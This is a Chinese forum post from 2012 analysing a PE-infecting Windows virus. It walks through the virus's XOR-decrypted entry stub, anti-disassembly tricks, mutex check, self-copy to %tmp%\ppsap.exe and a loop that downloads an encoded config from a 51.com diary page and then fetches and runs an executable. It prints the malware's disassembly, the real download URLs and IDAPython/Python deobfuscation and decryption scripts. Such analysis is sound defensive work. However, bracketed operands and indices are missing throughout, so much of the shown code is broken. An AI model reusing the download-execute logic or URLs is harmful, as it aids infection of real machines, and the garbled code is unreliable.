一次病毒分析之旅
本帖最后由 yuansunxue 于 2012-5-3 01:18 编辑这个是我搞病毒分析以来遇到的相对来说功能比较齐全的病毒,有感染pe文件,有下载执行,有后门功能等。
这个病毒是会感染pe文件的 调试的时候要小心 不过不联网的话 应该不会感染 因为其感染是受网络控制的
入口:
00406F88 >/[ DISCUZ_CODE_528 ]nbsp; 55 push ebp
00406F89|.8BEC mov ebp, esp
00406F8B|.53 push ebx
00406F8C|.51 push ecx
00406F8D|.E8 04000000 call 00406F96
00406F92|.92 xchg eax, edx
00406F93|.5F pop edi
00406F94|.0000 add byte ptr , al
00406F96|[ DISCUZ_CODE_528 ]nbsp; 5B pop ebx
00406F97|.2B1B sub ebx, dword ptr ;这里ebx = 401000
00406F99|.8B03 mov eax, dword ptr
00406F9B|.B9 06610000 mov ecx, 6106
00406FA0|>83F9 04 /cmp ecx, 4
00406FA3|.72 1A |jb short 00406FBF
00406FA5|.81F9 82010000 |cmp ecx, 182
00406FAB|.73 08 |jnb short 00406FB5
00406FAD|.81F9 3C010000 |cmp ecx, 13C
00406FB3|.77 02 |ja short 00406FB7
00406FB5|>3103 |xor dword ptr , eax
00406FB7|>83C3 04 |add ebx, 4
00406FBA|.83E9 04 |sub ecx, 4
00406FBD|.^ EB E1 \jmp short 00406FA0
00406FBF|>E8 33010000 call 004070F7
发现代码是加密的,解密过程很简单,写个idapython来解密下:
def decrypt_main_exe(startva = 0x401000):
eax = Dword(startva)
#alreay decrypted?
if eax ==0:
return
counter = 0x6106
while True:
if counter < 4:
break
if (counter > 0x13c) and (counter<0x182):
startva = startva + 4
counter = counter -4
else:
dword_value = Dword(startva)
dword_value = dword_value ^ eax
PatchDword(startva,dword_value)
startva = startva + 4
counter = counter -4
走进 004070f7
.text:004070F7 key_call proc near ; CODE XREF: .text:loc_406FBFp
.text:004070F7 call GetFuncsAddress
.text:004070FC test eax, eax
.text:004070FE jz short locret_407105
.text:00407100
.text:00407100 loc_407100:
.text:00407100 call sub_406FCA
.text:00407105
.text:00407105 locret_407105: ; CODE XREF: key_call+7j
.text:00407105 retn
004070f7的call 在ida中直接去大致浏览一下,发现只是获取一些api地址
但是其中用到了一些小技巧来影响我们的反汇编分析
1、获取api地址的时候,比较api地址的前一个字节是否是90 如果是90 则api地址减一,
造成od无法正确的现实api调用。直接ctrl + b 搜索二进制 8038907401 nop掉即可。
00401325 48 dec eax
00401326 8038 90 cmp byte ptr , 90
00401329 74 01 je short 0040132C
0040132B 40 inc eax获取的api地址为:
004010147C80AC28kernel32.GetProcAddress
004010187C801D77kernel32.LoadLibraryA
0040101C7C80EB3Fkernel32.CreateMutexA
004010207C910331ntdll.RtlGetLastWin32Error
004010247C809B77kernel32.CloseHandle
004010287C86114Dkernel32.WinExec
0040102C7C812851kernel32.GetVersionExA
004010307C90311Bntdll.RtlZeroMemory
004010347C80C729kernel32.lstrcpyA
004010387C838FB9kernel32.lstrcatA
0040103C7C80C6E0kernel32.lstrlenA
004010407C8397A1kernel32.GetCurrentDirectoryA
004010447C80B357kernel32.GetModuleFileNameA
004010487C81082Fkernel32.CreateThread
0040104C7C830053kernel32.CopyFileA
004010507C8221CFkernel32.GetTempPathA
004010547C8681F6kernel32.GetLongPathNameA
004010587C81174Ckernel32.GetFileAttributesA
写个idapython脚本来对地址进行标记一下:
#encoding=utf-8
#指定iat文件路径,内容是从od里拷出来的
iatfile=r"C:\IDA\idc\py\iat.txt"
def main():
diclist = dict()
hfile = file(iatfile,'r')
for line in hfile.readlines( ):
if len(line)>0x10:
address = long(line,16)
funcname = line.split('.')
if len(funcname) == 2:
name = funcname
#去掉名字后面的换行或者空格
got_name = name[:-1]
diclist = address
sorted_dic = map(lambda x:(x, x), diclist.items())
for funcname,address in sorted_dic:
address=address & 0xFFFFFFFF
MakeDword(address)
MakeName(address,funcname)
print "address %08x,funcname %s" % (address,funcname)
if __name__ == "__main__":
print "label start"
main()
print "finished"
2、 一些指令变形
0040132C E8 04000000 call 00401335
00401331 1D 0300005B sbb eax, 5B000003
00401336 2B1B sub ebx, dword ptr
上面的这几条是变形指令,直接go到00401335可以看到:
0040132C E8 04000000 call 00401335
00401335 5B pop ebx
00401336 2B1B sub ebx, dword ptr
上面的三步指令相当于
.text:00401333 mov ebx, 0x401014
其中ebx可以是其他的寄存器,不过在分析过程中只遇到过eax,ebx,edi,esi
类似的变形指令还有
0040127A E8 04000000 call 00401283
00401283 58 pop eax ; Copy_of_.0040127F
00401284 2B00 sub eax, dword ptr
00401286 FF10 call dword ptr
实际为:
00401282 FF15 18104000 call dword ptr ; kernel32.LoadLibraryA
写个idaPython脚本来清理下变形代码:
#encoding=utf-8
def main(startva = 0x401000):
FixSegStart = SegStart(startva)
FixSegEnd = SegEnd(startva)
#print "segstart:%08x segend:%08x" % (FixSegStart,FixSegEnd)
for i in range(FixSegStart, FixSegEnd):
curva = i
if Byte(curva) == 0xe8 and Dword(curva+1) == 0x4:
#定位到call下面的地址
curva = curva + 5
offset = Dword(curva)
#print "offset is %08x" % offset
#if (curva-offset) < FixSegStart:
# print "%08x error"% curva
# continue
call_dest_addr = curva - offset
#print "call_dest_addr is %08x" % call_dest_addr
ifByte(curva+4) == 0x58 and Dword(curva+5) == 0x10ff002b:
print "curva is %08x" % curva
#开始patch代码
PatchByte(curva-5,0x90)
PatchDword(curva-4,0x90909090)
MakeCode(curva-4)
MakeCode(curva-3)
MakeCode(curva-2)
MakeCode(curva-1)
MakeCode(curva-5)
PatchByte(curva,0x90)
PatchByte(curva+1,0x90)
PatchByte(curva+2,0x90)
PatchWord(curva+3,0x15ff)
PatchDword(curva+5,call_dest_addr)
MakeCode(curva-5)
MakeCode(curva+1)
MakeCode(curva+2)
MakeUnknown(curva+3,0x6,0)
HideArea(curva-5, curva + 3, "nop code", "----------", "----------", 0xa0a0a0)
MakeCode(curva+3)
'''
.text:004047E3 E8 04 00 00 00 call loc_4047EC
.text:004047E3 ; ---------------------------------------------------------------------------
.text:004047E8 B3 00 00 00 dd 0B3h
.text:004047EC ; ---------------------------------------------------------------------------
.text:004047EC
.text:004047EC loc_4047EC: ; CODE XREF: .text:004047E3p
.text:004047EC 58 pop eax
.text:004047ED 2B 00 sub eax,
.text:004047EF 8B 4D 08 mov ecx,
相当于mov eax,xxx
'''
elif Byte(curva+4) == 0x58 and Word(curva+5) == 0x002b and Word(curva+7) != 0x10ff:
#获取mov的值
pop_eax = curva
dword_eax = Dword(pop_eax)
moved_value = pop_eax - dword_eax
print "moved_value is % 08x" % moved_value
moved_value = moved_value & 0xffffffff
#开始修改代码
PatchByte(curva+2,0xb8)
PatchDword(curva+3,moved_value)
#nop掉之前的代码
PatchDword(curva-5,0x90909090)
PatchWord(curva-1,0x9090)
PatchByte(curva+1,0x90)
#让ida认为这是代码
MakeUnknown(curva-5,0xc,0)
MakeCode(curva-5)
MakeCode(curva-4)
MakeCode(curva-3)
MakeCode(curva-2)
MakeCode(curva-1)
MakeCode(curva+1)
MakeCode(curva+2)
HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
'''
.text:00404914 E8 04 00 00 00 call loc_40491D
.text:00404914 ; ---------------------------------------------------------------------------
.text:00404919 D0 01 00 00 dd 1D0h
.text:0040491D ; ---------------------------------------------------------------------------
.text:0040491D
.text:0040491D loc_40491D: ; CODE XREF: .text:00404914p
.text:0040491D 5B pop ebx
.text:0040491E 2B 1B sub ebx,
'''
elif Byte(curva+4) == 0x5b and Word(curva+5) == 0x1b2b and Word(curva+7) != 0xd3ff:
#获取mov的值
pop_ebx = curva
dword_ebx = Dword(pop_ebx)
moved_value = pop_ebx - dword_ebx
#开始修改代码
PatchByte(curva+2,0xbb)
PatchDword(curva+3,moved_value)
#nop掉之前的代码
PatchDword(curva-5,0x90909090)
PatchWord(curva-1,0x9090)
PatchByte(curva+1,0x90)
#让ida认为这是代码
MakeUnknown(curva-5,0xc,0)
MakeCode(curva-5)
MakeCode(curva-4)
MakeCode(curva-3)
MakeCode(curva-2)
MakeCode(curva-1)
MakeCode(curva+1)
MakeCode(curva+2)
HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
'''
.text:00405E46 E8 04 00 00 00 call loc_405E4F
.text:00405E46 ; ---------------------------------------------------------------------------
.text:00405E4B FB 45 00 00 dd 45FBh
.text:00405E4F ; ---------------------------------------------------------------------------
.text:00405E4F
.text:00405E4F loc_405E4F: ; CODE XREF: net_activity:loc_405E46p
.text:00405E4F 5F pop edi
.text:00405E50 2B 3F sub edi, ; 00401850
'''
elif Byte(curva+4) == 0x5f and Word(curva+5) == 0x3f2b and Word(curva+7) != 0xd7ff:
#获取mov的值
pop_edi = curva
dword_edi = Dword(pop_edi)
moved_value = pop_edi - dword_edi
#开始修改代码
PatchByte(curva+2,0xbf)
PatchDword(curva+3,moved_value)
#nop掉之前的代码
PatchDword(curva-5,0x90909090)
PatchWord(curva-1,0x9090)
PatchByte(curva+1,0x90)
#让ida认为这是代码
MakeUnknown(curva-5,0xc,0)
MakeCode(curva-5)
MakeCode(curva-4)
MakeCode(curva-3)
MakeCode(curva-2)
MakeCode(curva-1)
MakeCode(curva+1)
MakeCode(curva+2)
HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
'''
.text:00402664 E8 04 00 00 00 call loc_40266D
.text:00402664 ; ---------------------------------------------------------------------------
.text:00402669 69 16 00 00 dd 1669h
.text:0040266D ; ---------------------------------------------------------------------------
.text:0040266D
.text:0040266D loc_40266D: ; CODE XREF: Infect_EXE_dll+540j
.text:0040266D 5E pop esi
.text:0040266E 2B 36 sub esi,
'''
elif Byte(curva+4) == 0x5e and Word(curva+5) == 0x362b and Word(curva+7) != 0xd6ff:
#获取mov的值
pop_esi = curva
dword_esi = Dword(pop_esi)
moved_value = pop_esi - dword_esi
#开始修改代码
PatchByte(curva+2,0xbe)
PatchDword(curva+3,moved_value)
#nop掉之前的代码
PatchDword(curva-5,0x90909090)
PatchWord(curva-1,0x9090)
PatchByte(curva+1,0x90)
#让ida认为这是代码
MakeUnknown(curva-5,0xc,0)
MakeCode(curva-5)
MakeCode(curva-4)
MakeCode(curva-3)
MakeCode(curva-2)
MakeCode(curva-1)
MakeCode(curva+1)
MakeCode(curva+2)
HideArea(curva-5, curva + 2, "nop code", "----------", "----------", 0xa0a0a0)
if __name__ == "__main__":
print "---------------------\nFix Start..."
#fix_call_dword()
main()
print "finished"
现在代码都清理干净了,用ida静态分析即可,有必要可以用od动态调试下,
程序首先会对运行路径以及是否已经有病毒在运行进行一下判断,满足条件才运行病毒代码:
.text:00406FCA sub_406FCA proc near ; CODE XREF: key_call:loc_407100p
.text:00406FCA
.text:00406FCA var_7FF7B = byte ptr -7FF7Bh
.text:00406FCA tmp_path = byte ptr -800h
.text:00406FCA filepath = byte ptr -400h
.text:00406FCA
.text:00406FCA push ebp
.text:00406FCB mov ebp, esp
.text:00406FCD add esp, -800h
.text:00406FD3 push 400h ; nSize
.text:00406FD8 lea eax,
.text:00406FDE push eax ; lpFilename
.text:00406FDF push 0 ; hModule
.text:00406FE1 ; nop code
.text:00406FE9 ; ---------------------------------------------------------------------------
.text:00406FE9 call GetModuleFileNameA
.text:00406FEF push 400h ; cchBuffer
.text:00406FF4 lea eax,
.text:00406FFA push eax ; lpszLongPath
.text:00406FFB push eax ; lpszShortPath
.text:00406FFC ; nop code
.text:00407004 call GetLongPathNameA
.text:0040700A lea eax,
.text:00407010 push eax ; lpBuffer
.text:00407011 push 400h ; nBufferLength
.text:00407016 ; nop code
.text:0040701E ; ---------------------------------------------------------------------------
.text:0040701E call GetTempPathA
.text:00407024 push 400h ; cchBuffer
.text:00407029 lea eax,
.text:0040702F push eax ; lpszLongPath
.text:00407030 push eax ; lpszShortPath
.text:00407031 ; nop code
.text:00407039 ; ---------------------------------------------------------------------------
.text:00407039 call GetLongPathNameA
.text:0040703F lea eax,
.text:00407045 push eax ; lpString
.text:00407046 ; nop code
.text:0040704E ; ---------------------------------------------------------------------------
.text:0040704E call lstrlenA
.text:00407054 mov ecx, eax
.text:00407056 lea esi,
.text:0040705C lea edi,
.text:00407062
.text:00407062 @compare: ; CODE XREF: sub_406FCA+ACj
.text:00407062 test ecx, ecx
.text:00407064 jz short @equal
.text:00407066 mov al,
.text:00407068 mov ah,
.text:0040706A or eax, 2020h
.text:0040706F xor al, ah
.text:00407071 jnz short loc_40708A
.text:00407073 inc esi
.text:00407074 inc edi
.text:00407075 dec ecx
.text:00407076 jmp short @compare
.text:00407078 ; ---------------------------------------------------------------------------
判断程序是否在%tmp%在启动的 如果是 则来到这里 不是则跳到0040708a
.text:00407078
.text:00407078 @equal: ; CODE XREF: sub_406FCA+9Aj
.text:00407078 call @check_mutex确保只有一个病毒进程在运行
.text:0040707D test eax, eax
.text:0040707F jnz short @ren
.text:00407081 push 0
.text:00407083 call sub_406D4D 运行payload
.text:00407088 jmp short @ren
.text:0040708A ; ---------------------------------------------------------------------------
.text:0040708A
.text:0040708A loc_40708A: ; CODE XREF: sub_406FCA+A7j
.text:0040708A call sub_406D5E 判断病毒启动的目录下是否存在AAA_AAA_AAA_01文件,如果存在则
运行 "explorer.exe C:\Documents and Settings\SRE\Desktop\AAA_AAA_AAA_01"
AAA_AAA_AAA_01是什么呢? 在网上搜了一下,跟极品飞车12的车的修改代码,有关猜测病毒是通过这个传播的
.text:0040708F call @check_mutex
.text:00407094 test eax, eax
.text:00407096 jnz short @ren
.text:00407098 call loc_4070A7
.text:00407098 ; ---------------------------------------------------------------------------
.text:0040709D aPpsap_exe db 'ppsap.exe',0
.text:004070A7 ; ---------------------------------------------------------------------------
.text:004070A7
.text:004070A7 loc_4070A7: ; CODE XREF: sub_406FCA+CEp
.text:004070A7 lea eax,
.text:004070AD push eax ; lpString1
.text:004070AE ; nop code
.text:004070B6 ; ---------------------------------------------------------------------------
.text:004070B6 call lstrcatA
拷贝自身到%tmp%\ppsap.exe
.text:004070BC push 0 ; bFailIfExists
.text:004070BE lea eax,
.text:004070C4 push eax ; lpNewFileName
.text:004070C5 lea eax,
.text:004070CB push eax ; lpExistingFileName
.text:004070CC ; nop code
.text:004070D4 call CopyFileA
.text:004070DA test eax, eax
.text:004070DC jz short @ren
拷贝成功则运行%tmp%\ppsap.exe
.text:004070DE push 0 ; uCmdShow
.text:004070E0 lea eax,
.text:004070E6 push eax ; lpCmdLine
.text:004070E7 ; nop code
.text:004070EF ; ---------------------------------------------------------------------------
.text:004070EF call WinExec
.text:004070F5
.text:004070F5 @ren: ; CODE XREF: sub_406FCA+B5j
.text:004070F5 ; sub_406FCA+BEj ...
.text:004070F5 leave
.text:004070F6 retn
通过上面的代码我们可以看到起主要恶意代码在00406d4d
.text:00406D4D sub_406D4D proc near ; CODE XREF: sub_406FCA+B9p
.text:00406D4D ; DATA XREF: .text:00406EC6o
.text:00406D4D push ebp
.text:00406D4E mov ebp, esp
.text:00406D50
.text:00406D50 loc_406D50:
依然是获取病毒所需的api地址,处理方法同第一次,获取api列表我就不写了
.text:00406D50 call GetFunsAddress_0
.text:00406D55 call @net_activity_start 接下来进行一些网络活动
.text:00406D5A leave
.text:00406D5B retn 4
.text:00406D5B sub_406D4D endp
进入00406d55处的call
.text:00406CB5 @net_activity_start proc near ; CODE XREF: @net_activity_start+92j
.text:00406CB5 ; sub_406D4D+8p
.text:00406CB5 call net_activity
.text:00406CBA test eax, eax
.text:00406CBC jz short loc_406D34
.text:00406CBE push 0 ; protocol
.text:00406CC0 push 2 ; type
.text:00406CC2 push 2 ; af
.text:00406CC4 ; nop code
.text:00406CCC ; ---------------------------------------------------------------------------
.text:00406CCC call socket
.text:00406CD2 ; nop code
.text:00406CD9 mov ebx, offset unk_401860
.text:00406CDE mov , eax ; dword(00401860) = hsocket
.text:00406CE0 ; nop code
.text:00406CE7 mov eax, 401888h
.text:00406CEC push eax
.text:00406CED ; nop code
.text:00406CF4 mov eax, offset unk_401860
.text:00406CF9 push dword ptr
.text:00406CFB ; nop code
.text:00406D02 mov eax, offset sub_40512F
.text:00406D07 push eax ; 0040512F
.text:00406D08 call Call_CreateThread
.text:00406D0D call send_data_net_activity
.text:00406D12 ; nop code
.text:00406D19 mov eax, offset unk_401860
.text:00406D1E push dword ptr ; s
.text:00406D20 mov dword ptr , 0FFFFFFFFh
.text:00406D26 ; nop code
.text:00406D2E ; ---------------------------------------------------------------------------
.text:00406D2E call closesocket
.text:00406D34
.text:00406D34 loc_406D34: ; CODE XREF: @net_activity_start+7j
.text:00406D34 push 1B7740h ; dwMilliseconds
.text:00406D39 ; nop code
.text:00406D41 ; ---------------------------------------------------------------------------
.text:00406D41 call Sleep
.text:00406D47 jmp @net_activity_start
.text:00406D4C ; ---------------------------------------------------------------------------
.text:00406D4C retn
一步步详解其网络行为:
程序首先从http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014下载配置文件,然后进行分析处理获得下载连接,
下载执行
.text:00406775 push ecx
.text:00406776 mov , 0
.text:0040677D push 100000h ; dwBytes
.text:00406782 push 40h ; uFlags
.text:00406784 ; nop code
.text:0040678C call GlobalAlloc
.text:00406792 test eax, eax
.text:00406794 jz @retn
.text:0040679A mov , eax
.text:0040679D
.text:0040679D loc_40679D:
.text:0040679D push 100000h
.text:004067A2 push
.text:004067A5 call loc_4067EB
.text:004067A5 ; ---------------------------------------------------------------------------
.text:004067AA aHttpHome_51_com?uTe db 'http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014',0
.text:004067EB ; ---------------------------------------------------------------------------
.text:004067EB
.text:004067EB loc_4067EB: ; CODE XREF: net1+39p
.text:004067EB call Read_configdata_from_net
.text:004067F0 test eax, eax
.text:004067F2 jz short @read_fail
.text:004067F4 push eax ; decrypt data size
.text:004067F5
.text:004067F5 loc_4067F5: ; decrypt data
.text:004067F5 push
.text:004067F8 call Anslysis_config_data_and_download_execute
下载下来的data:
{
window.modData = {"view":{"id":"10049014","gid":"134960","is_top":"0","heart":"","title":"2010-11-20\u7684\u65e5\u8bb0","memo":"<br \/>\r\n########FPAAAAAACGBKEBBAEJHNEEEOEGFFHAGEGBHEGFDADDDADICOGFHIGFAAGIHEHEHADKCPCPHHHHHHCODBGEGJHDGLCOGDGOCPEDGPGOHEGFGOHEFAGBGOGFCOGBHDHAHIDPGEGPHHGODNGPGLCGGGGJGMGFHAGBHEGIDNHEGFHDHEDHDHDFDICFDCGGEEEOEGCOGEGBHEAA<br \/>\r\n<br \/>\r\n########AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br \/>\r\nqq2install<br \/>\r\n########FLAAAAAADGHOEBJKDELLGCGJHCHEGIGHGJGGHECOGFHIGFAAGIHEHEHADKCPCPHHHHHHCODBGEGJHDGLCOGDGOCPEDGPGOHEGFGOHEFAGBGOGFCOGBHDHAHIDPGEGPHHGODNGPGLCGGGGJGMGFHAGBHEGIDNHEGFHDHEDHDHDFDICFDCGGHBHBDCCOGEGPGDAA <br \/>\r\n<br \/>\r\n ","weekday":"1","show_time":"2010-11-20 17:37:00","flower":"0","egg":"0","ping":"0","click":"4236526","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/testdown\/diary\/item\/10049014.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290245878"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/testdown\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/testdown\/diary\/item\/.html"},"catalog":[{"id":"134960","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/testdown\/diary\/group\/134960","count":"1"},{"id":"134961","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/testdown\/diary\/group\/134961","count":"0"},{"id":"134962","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/testdown\/diary\/group\/134962","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"54243","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"237955579","_user":"5759497","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u4f0d\u5148\u751f","face":"http:\/\/p3.u.51img1.com\/39\/31\/267956964_50.gif?v=20120330123104","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"<a href='http:\/\/51vip.51.com\/level\/vipgrade.php' target='_blank'><img src='http:\/\/static.51img1.com\/i\/kf\/viplevel\/vip1.gif?0401' align='absmiddle' border=0 title='\u6210\u957f\u503c 112' style='filter:none;' \/><\/a> ","isconfirm":"1","isopen":"0","user":"267956964","_user":"91628762","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\uff3c\u3002\u88ab\u8fe9\u5ffd\u7565\u3001","face":"http:\/\/p5.u.51img1.com\/55\/d4\/xingfu2025_50.gif?v=20091226161855","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"2","user":"xingfu2025","_user":"xingfu2025","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"_\u7eaf \u3001","face":"http:\/\/pe.u.51img1.com\/eb\/fd\/lovening1025_50.gif?v=20101209174127","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lovening1025","_user":"lovening1025","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"nacy","face":"http:\/\/pa.u.51img1.com\/a9\/f3\/a20088823_50.gif?v=20090313220255","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"a20088823","_user":"a20088823","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u6e05\u98ce\u4f9d\u65e7","face":"http:\/\/p4.u.51img1.com\/40\/47\/dis13141998_50.gif?v=20110614170758","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"0","isopen":"0","user":"dis13141998","_user":"dis13141998","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"14"},"morediary":[],"current":{"gid":"134960","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/testdown\/diary\/group\/134960"}};
}
解密过程:
.text:00401A33 Decrypt_read_data proc near ; CODE XREF: Read_configdata_from_net+19p
.text:00401A33 ; sub_405F62+E7p
.text:00401A33
.text:00401A33 first_dword_after_decrypt= dword ptr -4
.text:00401A33 arg_0_read_data = dword ptr8
.text:00401A33 arg_4_read_size = dword ptr0Ch
.text:00401A33
.text:00401A33 push ebp
.text:00401A34 mov ebp, esp
.text:00401A36 add esp, 0FFFFFFFCh
.text:00401A39 push ebx
.text:00401A3A push ecx
.text:00401A3B push edx
.text:00401A3C push edi
.text:00401A3D mov ebx,
.text:00401A40 mov ecx,
.text:00401A43 sub ecx, 0Ah ; ecx = read_size -8
.text:00401A46
.text:00401A46 @find_loop: ; CODE XREF: Decrypt_read_data+2Aj
.text:00401A46 test ecx, ecx
.text:00401A48 jz short @return_zero
.text:00401A4A cmp dword ptr , '####'
.text:00401A50 jnz short @next_byte
.text:00401A52 cmp dword ptr , '####'
.text:00401A59 jz short @found_flag ; pass the ######## ebx = found data
.text:00401A5B
.text:00401A5B @next_byte: ; CODE XREF: Decrypt_read_data+1Dj
.text:00401A5B inc ebx
.text:00401A5C dec ecx
.text:00401A5D jmp short @find_loop
.text:00401A5F ; ---------------------------------------------------------------------------
.text:00401A5F
.text:00401A5F @found_flag: ; CODE XREF: Decrypt_read_data+26j
.text:00401A5F add ebx, 8 ; pass the ######## ebx = found data
.text:00401A62 sub ecx, 8 ; ecx = read_size - 8 - found_data_offset -a
.text:00401A62 ; 11d5 for 014
.text:00401A65 mov edi,
.text:00401A68 shr ecx, 1 ; 11d5 / 2 = 8ea
.text:00401A6A xor eax, eax
.text:00401A6C
.text:00401A6C @decrypt_loop: ; CODE XREF: Decrypt_read_data+55j
.text:00401A6C test ecx, ecx
.text:00401A6E jz short @decrypt_finished
.text:00401A70 mov ah, ; ah = found_data
.text:00401A72 mov al, ; al = found_data
.text:00401A75 sub eax, 4141h ; eax = eax - 0x4141
.text:00401A7A mov edx, eax ; edx eax - 0x4141
.text:00401A7C shr eax, 4 ; eax = eax >> 4
.text:00401A7F or eax, edx ; eax = (eax - 0x4141 ) | ((eax - 0x4141 )>>4)
.text:00401A81 mov , al ; byte(read_data) = (eax - 0x4141 ) | ((eax - 0x4141 )>>4)
.text:00401A83 add ebx, 2 ; found_data = found_data +2
.text:00401A86 inc edi ; read_data = read_data + 1
.text:00401A87 dec ecx ; ecx --
.text:00401A88 jmp short @decrypt_loop
.text:00401A8A ; ---------------------------------------------------------------------------
.text:00401A8A
.text:00401A8A @decrypt_finished: ; CODE XREF: Decrypt_read_data+3Bj
.text:00401A8A mov ebx,
.text:00401A8D mov ecx, ; ecx = first_dword_after_decrypt
.text:00401A8F cmp ecx,
.text:00401A92 ja short @return_zero
.text:00401A94 mov , ecx
.text:00401A97 add ebx, 4 ; ebx = read_data + 4
.text:00401A9A movzx edx, word ptr ; edx = word(read_data+4)
.text:00401A9D add ebx, 2 ; ebx = read_data + 6
.text:00401AA0 xor eax, eax
.text:00401AA2 mov esi, ebx ; esi ebx = read_data + 6
.text:00401AA4
.text:00401AA4 @add_together: ; CODE XREF: Decrypt_read_data+7Ej
.text:00401AA4 cmp ecx, 4
.text:00401AA7 jb short @add_over
.text:00401AA9 add eax,
.text:00401AAB add esi, 4
.text:00401AAE sub ecx, 4
.text:00401AB1 jmp short @add_together
.text:00401AB3 ; ---------------------------------------------------------------------------
.text:00401AB3
.text:00401AB3 @add_over: ; CODE XREF: Decrypt_read_data+74j
.text:00401AB3 and eax, 0FFFFh
.text:00401AB8 cmp eax, edx
.text:00401ABA jz short @data_is_right
.text:00401ABC
.text:00401ABC @return_zero: ; CODE XREF: Decrypt_read_data+15j
.text:00401ABC ; Decrypt_read_data+5Fj
.text:00401ABC mov , 0
.text:00401AC3 jmp short @retn
.text:00401AC5 ; ---------------------------------------------------------------------------
.text:00401AC5
.text:00401AC5 @data_is_right: ; CODE XREF: Decrypt_read_data+87j
.text:00401AC5 mov ecx,
.text:00401AC8 mov edi,
.text:00401ACB mov esi, edi
.text:00401ACD add esi, 6
.text:00401AD0 rep movsb
.text:00401AD2
.text:00401AD2 @retn: ; CODE XREF: Decrypt_read_data+90j
.text:00401AD2 mov eax,
.text:00401AD5 pop edi
.text:00401AD6 pop edx
.text:00401AD7 pop ecx
.text:00401AD8 pop ebx
.text:00401AD9 leave
.text:00401ADA retn 8
.text:00401ADA Decrypt_read_data endp
写个脚本来模拟其解密过程,顺便监控其下载的配置文件,
写个脚本也不用每次都调试,直接运行脚本就可以获取其解密后配置文件:
#
import re, struct, os, sys
def Decrypt_Config(srcData, hOutFile):
currIndex = 0
data_len = len(srcData)
ecx = data_len - 0xa
p = re.compile(r'########(.*)',re.DOTALL)
m = p.search(srcData)
decrypt_data = []
if m:
found_offset = m.start(1)
ecx = ecx - found_offset
ecx = ecx >> 1
#print "ecx %08x" % ecx
while ecx != 0:
ah = srcData
al = srcData
eax = (ord(ah) << 0x8) | ord(al)
#print "eax %08x" % eax
eax = eax - 0x4141
edx = eax
eax = eax >> 4
eax = edx | eax
#print "after or eax %08x" % eax
decrypt_data.append(chr(eax & 0xff))
found_offset = found_offset+2
ecx = ecx - 1
decrypt_data_ = "".join(decrypt_data)
first_dword = struct.unpack('I',decrypt_data_)
if first_dword <= data_len:
check_value = struct.unpack('H',decrypt_data_)
print "check_value %08x" % check_value
ecx = first_dword
eax = 0
esi = decrypt_data_
cur_offset = 0
while ecx >= 4:
eax = eax + struct.unpack('I',esi)
cur_offset = cur_offset + 4
ecx = ecx -4
eax = eax & 0xffff
if eax == check_value:
real_data = decrypt_data_
hOutFile.write(real_data)
else:
print "no content found"
if __name__=="__main__":
if len(sys.argv) != 2:
print "usage: %pro download_config"
os.sys.exit(1)
srcFile = os.sys.argv
hSrc = file(srcFile, "rb")
data = hSrc.read()
hSrc.close()
dstFile = "%s.decrypt.v" % srcFile
hDstFile = file(dstFile, "wb")
Decrypt_Config(data, hDstFile)
hDstFile.close()
大小0x5f
$ ==> >41 10 49 7D 44 4E 46 55AI}DNFU
$+8 >70 64 61 74 65 30 33 30pdate030
$+10 >38 2E 65 78 65 00 68 748.exe.ht
$+18 >74 70 3A 2F 2F 77 77 77tp://www
$+20 >2E 31 64 69 73 6B 2E 63.1disk.c
